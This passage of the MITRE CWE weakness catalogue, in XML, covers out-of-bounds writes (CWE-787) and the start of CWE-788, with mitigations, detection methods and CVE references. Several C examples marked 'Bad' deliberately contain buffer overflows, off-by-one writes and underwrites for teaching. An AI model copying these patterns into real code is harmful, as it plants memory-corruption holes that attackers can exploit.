            <Language Name="C++" Prevalence="Often"/>
            <Language Class="Assembly" Prevalence="Undetermined"/>
            <Technology Class="ICS/OT" Prevalence="Often"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Memory Corruption</Term>
               <Description>Often used to describe the consequences of writing to memory outside the bounds of a buffer, or to memory that is invalid, when the root cause is something other than a sequential copy of excessive data from a fixed starting location. This may include issues such as incorrect pointer arithmetic, accessing invalid pointers due to incomplete initialization or memory release, etc.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-1">
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.</xhtml:p>
                  <xhtml:p>Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
               <Effectiveness_Notes>Detection techniques for buffer-related errors are more mature than for most other weakness types.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-2">
               <Method>Automated Dynamic Analysis</Method>
               <Description>This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.</Description>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-3">
               <Phase>Requirements</Phase>
               <Strategy>Language Selection</Strategy>
               <Description>
                  <xhtml:p>Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.</xhtml:p>
                  <xhtml:p>Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-4.1">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.</xhtml:p>
               </Description>
               <Effectiveness_Notes>This is not a complete solution, since many buffer overflows are not related to strings.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-10">
              <Phase>Operation</Phase> 
	      <Phase>Build and Compilation</Phase>
	      <Strategy>Environment Hardening</Strategy> 
	      <Description> 
		<xhtml:p>Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking. </xhtml:p> 
		<xhtml:p> D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail. </xhtml:p> 

	      </Description> 
	      <Effectiveness>Defense in Depth</Effectiveness> 
	      <Effectiveness_Notes> 
		<xhtml:p> This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application. </xhtml:p> 
	      </Effectiveness_Notes>
	    </Mitigation>
            <Mitigation Mitigation_ID="MIT-9">
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>Consider adhering to the following rules when allocating and managing an application's memory:</xhtml:p>
                     <xhtml:ul>
                        <xhtml:li>Double check that the buffer is as large as specified.</xhtml:li>
                        <xhtml:li>When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.</xhtml:li>
                        <xhtml:li>Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.</xhtml:li>
                        <xhtml:li>If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.</xhtml:li>
                     </xhtml:ul>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-11">
               <Phase>Operation</Phase> 
	       <Phase>Build and Compilation</Phase> 
	       <Strategy>Environment Hardening</Strategy> 
	       <Description>
		 <xhtml:p>Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. </xhtml:p> 
		 <xhtml:p> Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. </xhtml:p> 
		 <xhtml:p> For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335]. </xhtml:p>
	       </Description> 
	       <Effectiveness>Defense in Depth</Effectiveness> 
	       <Effectiveness_Notes>These techniques do not provide a complete solution.  For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333]</Effectiveness_Notes> 
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-12">
               <Phase>Operation</Phase> 
	       <Strategy>Environment Hardening</Strategy> 
	       <Description> 
		 <xhtml:p> Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.  </xhtml:p> 
	         <xhtml:p> For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336]. </xhtml:p>
	       </Description> 
	       <Effectiveness>Defense in Depth</Effectiveness> 
	       <Effectiveness_Notes>This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application. </Effectiveness_Notes> 
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-13">
               <Phase>Implementation</Phase>
               <Description>Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.</Description>
               <Effectiveness>Moderate</Effectiveness>
               <Effectiveness_Notes>This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).</Effectiveness_Notes>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code attempts to save four different identification numbers into an array.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int id_sequence[3];<xhtml:br/>
                     <xhtml:br/>/* Populate the id array. */<xhtml:br/>
                     <xhtml:br/>id_sequence[0] = 123;<xhtml:br/>id_sequence[1] = 234;<xhtml:br/>id_sequence[2] = 345;<xhtml:br/>id_sequence[3] = 456;</xhtml:div>
               </Example_Code>
	       <Body_Text>Since the array is only allocated to hold three elements, the valid indices are 0 to 2; so, the assignment to id_sequence[3] is out of bounds.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-114">
               <Intro_Text>In the following code, it is possible to request that memcpy move a much larger segment of memory than assumed:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int returnChunkSize(void *) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>/* if chunk info is valid, return the size of usable memory,</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>* else, return -1 to indicate an error</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>*/</xhtml:i>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}<xhtml:br/>int main() {<xhtml:div style="margin-left:1em;">...<xhtml:br/>memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));<xhtml:br/>...</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-1">
               <Intro_Text>This code takes an IP address from the user and verifies that it is well formed. It then looks up the hostname and copies it into a buffer.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void host_lookup(char *user_supplied_addr){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>struct hostent *hp;<xhtml:br/>in_addr_t *addr;<xhtml:br/>char hostname[64];<xhtml:br/>in_addr_t inet_addr(const char *cp);<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/*routine that ensures user_supplied_addr is in the right format for conversion */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>validate_addr_form(user_supplied_addr);<xhtml:br/>addr = inet_addr(user_supplied_addr);<xhtml:br/>hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);<xhtml:br/>strcpy(hostname, hp-&gt;h_name);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This function allocates a buffer of 64 bytes to store the hostname. However, there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.</Body_Text>
               <Body_Text>Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-19">
               <Intro_Text>This code applies an encoding procedure to an input string and stores it into a buffer.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char * copy_input(char *user_supplied_string){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>int i, dst_index;<xhtml:br/>char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);<xhtml:br/>if ( MAX_SIZE &lt;= strlen(user_supplied_string) ){<xhtml:div style="margin-left:1em;">die("user string too long, die evil hacker!");</xhtml:div>}<xhtml:br/>dst_index = 0;<xhtml:br/>for ( i = 0; i &lt; strlen(user_supplied_string); i++ ){<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if( '&amp;' == user_supplied_string[i] ){<xhtml:div style="margin-left:1em;">dst_buf[dst_index++] = '&amp;';<xhtml:br/>dst_buf[dst_index++] = 'a';<xhtml:br/>dst_buf[dst_index++] = 'm';<xhtml:br/>dst_buf[dst_index++] = 'p';<xhtml:br/>dst_buf[dst_index++] = ';';</xhtml:div>}<xhtml:br/>else if ('&lt;' == user_supplied_string[i] ){<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:i>/* encode to &amp;lt; */</xhtml:i>
                                       <xhtml:br/>
                                    </xhtml:div>
                                 </xhtml:div>}<xhtml:br/>else dst_buf[dst_index++] = user_supplied_string[i];</xhtml:div>
                           </xhtml:div>}<xhtml:br/>return dst_buf;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer attempts to encode the ampersand character in the user-controlled string. However, the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-87">
               <Intro_Text>In the following C/C++ code, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char* trimTrailingWhitespace(char *strMessage, int length) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>char *retMessage;<xhtml:br/>char *message = malloc(sizeof(char)*(length+1));<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// copy input string to a temporary string</xhtml:i>
                           <xhtml:br/>char message[length+1];<xhtml:br/>int index;<xhtml:br/>for (index = 0; index &lt; length; index++) {<xhtml:div style="margin-left:1em;">message[index] = strMessage[index];</xhtml:div>}<xhtml:br/>message[index] = '\0';<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// trim trailing whitespace</xhtml:i>
                           <xhtml:br/>int len = index-1;<xhtml:br/>while (isspace(message[len])) {<xhtml:div style="margin-left:1em;">message[len] = '\0';<xhtml:br/>len--;</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// return string without trailing whitespace</xhtml:i>
                           <xhtml:br/>retMessage = message;<xhtml:br/>return retMessage;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-20">
               <Intro_Text>The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int i;<xhtml:br/>unsigned int numWidgets;<xhtml:br/>Widget **WidgetList;<xhtml:br/>
                     <xhtml:br/>numWidgets = GetUntrustedSizeValue();<xhtml:br/>if ((numWidgets == 0) || (numWidgets &gt; MAX_NUM_WIDGETS)) {<xhtml:div style="margin-left:1em;">ExitError("Incorrect number of widgets requested!");</xhtml:div>}<xhtml:br/>WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));<xhtml:br/>printf("WidgetList ptr=%p\n", WidgetList);<xhtml:br/>for(i=0; i&lt;numWidgets; i++) {<xhtml:div style="margin-left:1em;">WidgetList[i] = InitializeWidget();</xhtml:div>}<xhtml:br/>WidgetList[numWidgets] = NULL;<xhtml:br/>showWidgets(WidgetList);</xhtml:div>
               </Example_Code>
               <Body_Text>However, this code contains an off-by-one calculation error (CWE-193). It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests MAX_NUM_WIDGETS, there is an out-of-bounds write (CWE-787) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-88">
               <Intro_Text>The following code may result in a buffer underwrite, if find() returns a negative value to indicate that ch is not found in srcBuf:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int main() {<xhtml:div style="margin-left:1em;">...<xhtml:br/>strncpy(destBuf, &amp;srcBuf[find(srcBuf, ch)], 1024);<xhtml:br/>...</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If the index to srcBuf is somehow under user control, this is an arbitrary write-what-where condition.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2021-21220</Reference>
               <Description>Chain: insufficient input validation (CWE-20) in browser allows heap corruption (CWE-787), as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-21220</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-28664</Reference>
               <Description>GPU kernel driver allows memory corruption because a user can obtain read/write access to read-only pages, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-28664</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-17087</Reference>
               <Description>Chain: integer truncation (CWE-197) causes small buffer allocation (CWE-131) leading to out-of-bounds write (CWE-787) in kernel pool, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-17087</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-1054</Reference>
               <Description>Out-of-bounds write in kernel-mode driver, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-1054</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-0041</Reference>
               <Description>Escape from browser sandbox using out-of-bounds write due to incorrect bounds check, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-0041</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-0968</Reference>
               <Description>Memory corruption in web browser scripting engine, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-0968</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-0022</Reference>
               <Description>chain: mobile phone Bluetooth implementation does not include offset when calculating packet length (CWE-682), leading to out-of-bounds write (CWE-787)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-0022</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2019-1010006</Reference>
               <Description>Chain: compiler optimization (CWE-733) removes or modifies code used to detect integer overflow (CWE-190), allowing out-of-bounds write (CWE-787).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-1010006</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1532</Reference>
               <Description>malformed inputs cause accesses of uninitialized or previously-deleted objects, leading to memory corruption</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1532</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0269</Reference>
               <Description>chain: -1 value from a function call was intended to indicate an error, but is used as an array index instead.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0269</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-2227</Reference>
               <Description>Unchecked length of SSLv2 challenge value leads to buffer underflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2227</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4580</Reference>
               <Description>Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4580</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4268</Reference>
               <Description>Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4268</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2550</Reference>
               <Description>Classic stack-based buffer overflow in media player using a long entry in a playlist</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2550</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2403</Reference>
               <Description>Heap-based buffer overflow in media player using a long entry in a playlist</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2403</Link>
            </Observed_Example>
         </Observed_Examples>
	 <Taxonomy_Mappings>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-2</Entry_ID>
	     <Entry_Name>Req CR 3.5</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 3-3</Entry_ID>
	     <Entry_Name>Req SR 3.5</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-1</Entry_ID>
	     <Entry_Name>Req SI-1</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-1</Entry_ID>
	     <Entry_Name>Req SI-2</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-1</Entry_ID>
	     <Entry_Name>Req SVV-1</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-1</Entry_ID>
	     <Entry_Name>Req SVV-3</Entry_Name>
	   </Taxonomy_Mapping>
	 </Taxonomy_Mappings>
         <References>
	    <Reference External_Reference_ID="REF-1029"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 5, &#34;Stack Overruns&#34; Page 129"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 5, &#34;Heap Overruns&#34; Page 138"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 5: Buffer Overruns.&#34; Page 89"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 3, &#34;Nonexecutable Stack&#34;, Page 76"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 5, &#34;Protection Mechanisms&#34;, Page 189"/>
            <Reference External_Reference_ID="REF-90"/>
            <Reference External_Reference_ID="REF-56"/>
            <Reference External_Reference_ID="REF-57"/>
            <Reference External_Reference_ID="REF-58"/>
            <Reference External_Reference_ID="REF-60"/>
            <Reference External_Reference_ID="REF-61"/>
            <Reference External_Reference_ID="REF-64"/>
	    <Reference External_Reference_ID="REF-1332"/>
	    <Reference External_Reference_ID="REF-1333"/>
	    <Reference External_Reference_ID="REF-1334"/>
	    <Reference External_Reference_ID="REF-1335"/>
	    <Reference External_Reference_ID="REF-1336"/>
	    <Reference External_Reference_ID="REF-1337" Section="Memory information leaks"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-10-21</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Potential_Mitigations, References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Demonstrative_Examples, Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Demonstrative_Examples, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-25</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="788" Name="Access of Memory Location After End of Buffer" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product reads or writes to a buffer using an index or pointer that references a memory location after the end of the buffer.</Description>
         <Extended_Description>This typically occurs when a pointer or its index is incremented to a position after the buffer; or when pointer arithmetic results in a position after the buffer.</Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
               <Note>For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-13">
             <Method>Fuzzing</Method>
             <Description>Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
